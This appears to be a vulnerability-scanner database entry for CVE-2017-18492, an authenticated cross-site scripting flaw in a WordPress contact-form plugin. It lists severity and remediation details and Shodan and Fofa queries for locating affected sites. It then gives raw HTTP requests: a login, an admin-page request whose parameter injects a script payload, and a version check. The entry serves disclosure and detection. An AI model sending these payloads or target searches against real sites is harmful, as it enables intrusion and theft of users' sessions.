| Title | Contact Form to DB by BestWebSoft < 1.5.7 - Cross-Site Scripting |
|---|---|
| Author | luisfelipe146 |
| Severity | Medium |
| Impact | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. |
| Remediation | Update to version 1.5.7 or later. |
| CVSS Score | 6.1 |
| EPSS Score | 0.00104 |
| CVE ID | CVE-2017-18492 |
| CWE ID | CWE-79 |
| Shodan Query | http.html:/wp-content/plugins/contact-form-to-db/ |
| Fofa Query | body=/wp-content/plugins/contact-form-to-db/ |
| Tags | cve2017 cve wordpress wpscan bws-contact-form wp-plugin xss authenticated bestwebsoft vuln |
The contact-form-to-db plugin before 1.5.7 for WordPress has multiple XSS issues.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Kubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=8UUKSC&pwd=r4Kp1z&wp-submit=Log+In
GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Debian; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/136.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/contact-form-to-db/readme.txt HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0.3 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-18492.yaml
🦈 Packet Capture: ⬇️ Download cve-2017-18492.pcap
N/AN/A